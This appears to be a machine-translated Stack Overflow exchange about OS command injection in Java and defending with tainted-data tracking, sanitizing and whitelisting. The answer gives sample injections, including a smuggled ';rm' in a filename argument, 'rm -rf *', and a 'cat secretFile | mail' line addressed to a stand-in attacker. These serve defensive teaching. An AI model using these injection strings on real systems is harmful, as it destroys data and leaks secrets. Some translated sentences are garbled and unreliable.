Java 在没有运行时api执行的情况下,操作系统命令注入是否可能?

Java 在没有运行时api执行的情况下,操作系统命令注入是否可能?,java,security,owasp,Java,Security,Owasp,根据我对操作系统(linux/windows)的理解,命令执行是可能的 仅当我在中使用任何字符串作为参数时 我的问题是,如果我没有使用任何请求参数(来自用户)或实际上Runtime.exec下的任何字符串,那么OS命令是否可以执行?我的回答是这不可能 无论如何。最安全的事情总是避免调用system()或exec()——事实上,在某些组织中,如果你的应用程序通过了安全审查,你绝对不会通过 但是,正如您所暗示的,您可以采取措施使其安全。一个有用的概念是“受污染”的数据。用户或客户提供的一段数据受到污

根据我对操作系统(linux/windows)的理解,命令执行是可能的 仅当我在中使用任何字符串作为参数时

我的问题是,如果我没有使用任何请求参数(来自用户)或实际上Runtime.exec下的任何字符串,那么OS命令是否可以执行?我的回答是这不可能
无论如何。

最安全的事情总是避免调用
system()
exec()
——事实上,在某些组织中,如果你的应用程序通过了安全审查,你绝对不会通过

但是,正如您所暗示的,您可以采取措施使其安全。一个有用的概念是“受污染”的数据。用户或客户提供的一段数据受到污染。由受污染数据构建的一段数据也受污染。例如,您可以通过将*数据映射到白名单中的一组选项,或通过清除*数据来“卸载”

 String name = request.getBody(); // tainted
 String cmd = "grep " + name + " customers.txt"; // also tainted
 String cleanName = sanitize(name); // untainted
 String cleanerName = validNameMap.get(name); // untainted
 String literal = "a literal string"; // untainted
您可以看到如果
request.getBody()
返回
slim
grep slim customers.txt
是如何安全的。但是,如果用户提供的数据是
slim customers.txt;rm
,则
grep slim customers.txt;rm customers.txt
cmd
结果是坏消息

sanitize()
可能会做一些事情,比如除去a-zA-Z以外的所有东西

<> P.>有很多的地方来消毒程序是幼稚的,而且不够彻底,这可能是一个攻击向量-所以白名单被认为更安全。 (有多种语言的工具可以分析代码,并在从不受信任的源派生的数据写入不安全的目标时向您发出警告:)

如果传递给
exec()
的字符串未被污染,这是迈向安全的一步。但是,仍然有一些方法会造成危险。请考虑:

 String command = "/usr/local/bin/myProgram";
 String path = "/tmp/inputfile";
 createNewFile(path, request.getBody());
 runtime.exec(command, path);
现在,
command
path
都是未受污染的——它们不是由用户提供的——但是我们正在通过文件将获取的数据传递给
myProgram
,而myProgram可能会对数据做一些危险的事情

最明显的例子是,如果
命令
/bin/bash
,请求主体类似于
rm-rf*
cat secretFile | mailblackhat@naughtyhacker.com

但是有很多更微妙的方式,例如,
myprogram
可能使用文件内容来构建SQL请求


您可以在不同的地方降低这些风险。您可以在将数据写入文件之前对数据进行清理,或者您可以在安全模型中明确说明文件内容已被污染,
myprogram
必须将其视为污染,并自行清除污染。

乍一看,您是正确的。但是,您执行的程序(即使使用非用户定义的参数启动)可能会处理用户数据,这些数据可能会触发程序中的漏洞,例如命令注入。@Robert同意。但主要问题是,要在java中执行OS命令注入,必须通过
Runtime.exec执行该输入(字符串命令)
,没有其他方法吗?